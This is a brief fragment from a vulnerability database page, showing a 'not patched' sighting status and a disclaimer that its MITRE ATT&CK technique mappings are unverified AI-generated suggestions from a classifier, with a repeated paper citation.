- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
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The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
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